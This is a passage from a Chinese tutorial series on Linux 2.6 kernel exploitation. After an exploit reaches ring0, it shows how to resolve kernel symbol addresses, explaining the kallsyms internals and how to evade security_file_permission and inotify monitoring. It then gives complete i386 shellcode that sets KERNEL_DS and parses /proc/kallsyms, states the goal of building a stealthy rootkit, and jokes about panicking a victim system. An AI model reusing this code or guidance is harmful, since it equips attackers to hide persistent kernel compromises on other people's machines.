很多人都学汇编。什么是eip他背得倍儿熟。但是你问他怎么把eip的值传给eax,他会毫不犹豫的说“mov eax, eip”。
很多人都学操作系统。什么是内存管理他背得倍儿熟。但是你打开linux-2.6.18的文件夹,他会指着那个mm文件夹说“那个是啥,快打开,里面有mm照片么?”
于是,在填鸭式的学习中,我们习惯于湮没在老师的无数唾沫里,湮没在书本的无数概念里,湮没在课堂的无数瞌睡里,湮没在宿舍的无数盘dota里。直到有一天,你发现用asp.net,c#,java,vb都无法写出你想要的shellcode时,你恍然大悟,众里寻她千百度,那人却在灯火阑珊处。你所追随的她,是被你曾经抛弃的操作系统和汇编。
好了扯淡完毕。先回答上一节的问题。其实这个漏洞只用来做提权实在是大材小用了。作者写一个漏洞利用程序只是个示范而已,不是让骇客们真的拿去提权。而是让我们自己扩充它,实现自己的功能,实现自己的rootkit。
我们来到ring0下面后,那是手无寸铁啊。平常你写内核模块的时候,有啥函数直接拿来用就是了,但是现在不行。你身处一个如此荒凉的地方,你能获得的只有当前进程的task_struct。而这个也不靠谱,因为各个版本的linux,各种各样的内核设置,导致这个结构里特定成员的偏移都有可能不一样。所以我们就丢开这个不管了。
怎样获得内核函数地址?这是个问题。如果你不获得函数地址,就啥也做不了。就好比搞自杀式袭击的,到了目的地,发现炸弹不见了,那也只能喝杯咖啡,然后再返回基地组织。
在内核模块中,通过函数名字获取函数地址用的是kallsyms_lookup_name。但现在你连kallsyms_lookup_name这个函数的地址都不知道。我们先来看看这个函数的实现:
kallsyms_lookup_name()
- /* Lookup the address for this symbol. Returns 0 if not found. */
- unsigned long kallsyms_lookup_name(const char *name)
- {
- char namebuf[KSYM_NAME_LEN];
- unsigned long i;
- unsigned int off;
- for (i = 0, off = 0; i < kallsyms_num_syms; i++) {
- off = kallsyms_expand_symbol(off, namebuf);
- if (strcmp(namebuf, name) == 0)
- return kallsyms_addresses[i];
- }
- return module_kallsyms_lookup_name(name);
- }
kallsyms_lookup_name() -> kallsyms_expand_symbol()
- /* expand a compressed symbol data into the resulting uncompressed string,
- given the offset to where the symbol is in the compressed stream */
- static unsigned int kallsyms_expand_symbol(unsigned int off, char *result)
- {
- int len, skipped_first = 0;
- const u8 *tptr, *data;
- /* get the compressed symbol length from the first symbol byte */
- data = &kallsyms_names[off];
- len = *data;
- data++;
- /* update the offset to return the offset for the next symbol on
- * the compressed stream */
- off += len + 1;
- /* for every byte on the compressed symbol data, copy the table
- entry for that byte */
- while(len) {
- tptr = &kallsyms_token_table[ kallsyms_token_index[*data] ];
- data++;
- len--;
- while (*tptr) {
- if(skipped_first) {
- *result = *tptr;
- result++;
- } else
- skipped_first = 1;
- tptr++;
- }
- }
- *result = '/0';
- /* return to offset to the next symbol */
- return off;
看清楚没?
kallsyms_names 这个数组里的内容是 len0, idx0_0, idx0_1, idx0_2 ... len1, idx1_0, idx1_1 ....
得到一系列idx后,
把idx0_0带入kallsyms_token_table[ kallsyms_token_index[] ]里,找到第一个字符串。
把idx0_1带入,找到第二个字符串。
把idx0_n带入,其中n为len0-1,找到最后一个字符串。
把所有的字符串连起来,就是第一个内核符号的名字。
这样,把所有的内核符号名字按顺序都获取一次,与传入的参数比较,如果相等,就返回对应的地址。
这是用的一种压缩算法,可以减少内核符号表占用的空间。
编译内核的时候,源码树中script/kallsyms.c这个程序生成了内核符号表的汇编源码,链接完后,内核的镜像里就有了符号表。你可以在kernel/kallsyms.c中找到定义
- /* These will be re-linked against their real values during the second link stage */
- extern const unsigned long kallsyms_addresses[] __attribute__((weak));
- extern const u8 kallsyms_names[] __attribute__((weak));
但是你找不到kallsyms_addresses和kallsyms_names的定义在哪里。因为编译过程中,script/kallsyms.c生成的内核符号表的汇编源码放在/tmp目录下,用完就删了,你当然找不到。
上面分析的过程看不懂没关系,只要明白一个道理:写kallsyms.c的程序员是很欠抽的。
在当今1G硬盘不需要1块钱,1G内存只要几十块钱的时代,你为了节省那么点空间,写了这么欠抽的代码出来,内核符号表再大,有你硬盘里的松岛枫毛片大吗,有你硬盘里的陈冠希艳照多吗?你这样写,知不知道有什么后果?所以,我们不能通过“暴搜”的方法找到内核符号表。
其实,内核符号表在/proc/kallsyms中是可以看到的。所以,我们通过读/proc/kallsyms可以读出所有的内核符号和地址。你可能会说,那我们刚刚还看kallsyms_lookup_name干啥?不是浪费时间么?
不是的,读/proc/kallsyms毕竟是有点低劣的方法,因为要读你也只能用系统调用去读,目前你还不能越过系统调用直接去读proc entry的。如果用系统调用去读/proc/kallsyms那就必定要经过那一套操作系统的检测流程。在vfs_read里有这样的代码:
- count = ret;
- ret = security_file_permission (file, MAY_READ);
- if (!ret) {
- if (file->f_op->read)
- ret = file->f_op->read(file, buf, count, pos);
- else
- ret = do_sync_read(file, buf, count, pos);
- if (ret > 0) {
- fsnotify_access(file->f_path.dentry);
- add_rchar(current, ret);
你看看,你要经过两大关。
第一关是security_file_permission。这个函数看名字都知道它是干嘛的了。是rootkit最讨厌的东西。不过所幸内核的默认设置是允许读/proc/kallsyms的。而这个文件,ring3下的普通用户也有读的权限。
第二关是fsnotify_access。这函数来自于文件系统的inotify 机制,这机制基于inode,一般都是在inode被读,被写等等时候给关注这个事件的人一个信号“这个inode被读/写了”,简单的说就是这样。最麻烦的是,这个机制是给ring3下的进程用的。所以,如果有一个进程注册了inotify,并关注/proc/kallsyms。那你就露馅了。
这方法有一定的危险性。
不过我在google上搜了很久也没搜出来有没啥更好的方法,如果有好的方法,迫切希望有人能告诉我。
另外还有一个“偏方”能读到搞到内核符号表。
比如很多人都没删除“System.map-xxx”这个文件,其实这个文件就是内核符号表,与/proc/kallsyms不同的是,它不包括模块的符号表,如果找到了这个文件,确定它是与现在内核一起编译生成的(这样才配套),用它也成。
但这个偏方要你在ring3下操作,还挺不靠谱的。
所以啊,我们有时候不要追求得太高了。你喜欢喝牛奶,但没有牛奶的时候你还得和水。没有水的时候你还得喝。。算了不说了。
如果你在ring3下用过系统调用,那现在在ring0下读/proc/kallsyms的过程也是类似的,只不过要把ds设置为kernel_ds,这样sys_read函数就不检查参数的地址了,直接读。
代码如下:
- .text
- .globl ksym_lookup
- .globl filepath
- filepath: .asciz "/proc/kallsyms"
- FD = 0
- BUF = 4
- SAVEDS = 1020
- FNLEN = 1024
- FN = 1028
- SSZ = 1032
- ksym_lookup:
- pushl %ebp
- pushl %esi
- pushl %edi
- pushl %ecx
- pushl %ebx
- subl $SSZ, %esp
- movl %eax, FN(%esp)
- movl %edx, FNLEN(%esp)
- # set KERNEL_DS
- movl %esp, %eax
- andl $0xffffe000, %eax
- movl 0x18(%eax), %ebx
- movl %ebx, SAVEDS(%esp)
- movl $0xffffffff, 0x18(%eax)
- # open("/proc/kallsyms", O_RDONLY, 0);
- movl $5, %eax
- call 1f
- 1: pop %ebx
- subl $(1b - filepath), %ebx
- xorl %ecx, %ecx
- xorl %edx, %edx
- int $0x80
- testl %eax, %eax
- js out
- movl %eax, FD(%esp)
- leal BUF(%esp), %ecx
- getch_repeat:
- # read(fd, ecx, 1);
- movl $3, %eax
- movl FD(%esp), %ebx
- movl $1, %edx
- int $0x80
- cmpl $1, %eax
- jnz out_close
- cmpb $'/n', (%ecx)
- jz newline
- incl %ecx
- jmp getch_repeat
- # when a '/n' is read, start parse a new line
- newline:
- # skip ' ' in output line 'c01xxxx T funcname'
- leal BUF(%esp), %esi
- movl $2, %ebp
- 1:
- cmpb $' ', (%esi)
- jnz 2f
- decl %ebp
- jz 3f
- 2:
- incl %esi
- cmpl %ecx, %esi
- jl 1b
- jmp newline_out
- 3:
- # cmp str between function name in output line and 'kallsyms_lookup_name'
- incl %esi
- movl FN(%esp), %edi
- movl %ecx, %eax
- subl %esi, %eax
- movl FNLEN(%esp), %ecx
- cmpl %eax, %ecx
- jae 1f
- movl %eax, %ecx
- 1:
- incl %ecx
- cld
- repz cmpsb
- testl %ecx, %ecx
- jnz newline_out
- # convert the address from str to ulong. saved in eax
- leal BUF(%esp), %esi
- xorl %eax, %eax
- 1:
- movb (%esi), %bl
- cmpb $' ', %bl
- jz 4f
- cmpb $'a', %bl
- jl 2f
- subb $('a' - 10), %bl
- jmp 3f
- 2:
- subb $'0', %bl
- 3:
- andb $0x0F, %bl
- shl $4, %eax
- movb %al, %cl
- andb $0xF0, %cl
- orb %bl, %cl
- movb %cl, %al
- incl %esi
- jmp 1b
- 4:
- # successfully convert address !!
- jmp out_close
- newline_out:
- leal BUF(%esp), %ecx
- jmp getch_repeat
- out_close:
- pushl %eax
- movl $6, %eax
- movl FD(%esp), %ebx
- int $0x80
- popl %eax
- out:
- movl %esp, %ebx
- andl $0xffffe000, %ebx
- movl SAVEDS(%esp), %ecx
- movl %ecx, 0x18(%ebx)
- addl $SSZ, %esp
- popl %ebx
- popl %ecx
- popl %edi
- popl %esi
- popl %ebp
- ret
这段代码有个bug,在比较字符串的地方。/proc/kallsyms输出的格式,对于模块里的符号,会在最后面加一个“[模块名]”。
所以不能用这段代码找模块里的函数。大家要用自己改吧。我也懒得改了,反正我一开始不用找内核里的函数。
好了,那现在,你就可以找到大部分函数了,少部分未导出的找不到,但也够你用的了。
你说现在干啥呢?
有人说“我想搞破坏!”。
好,那你就搜索panic函数。然后panic("hey, your system is fucked!! hacked by xxx/n");
看系统被你panic了。靠,你太伟大了,我们搞了这么半天就是没让系统panic,你一下子就让系统panic了!那后面的文章你也不用看了,因为系统已经panic了,秘密行动失败了,你也知道有啥后果吧。
有人说“我想做rootkit”
好,那下一节的内容你可能会很感兴趣。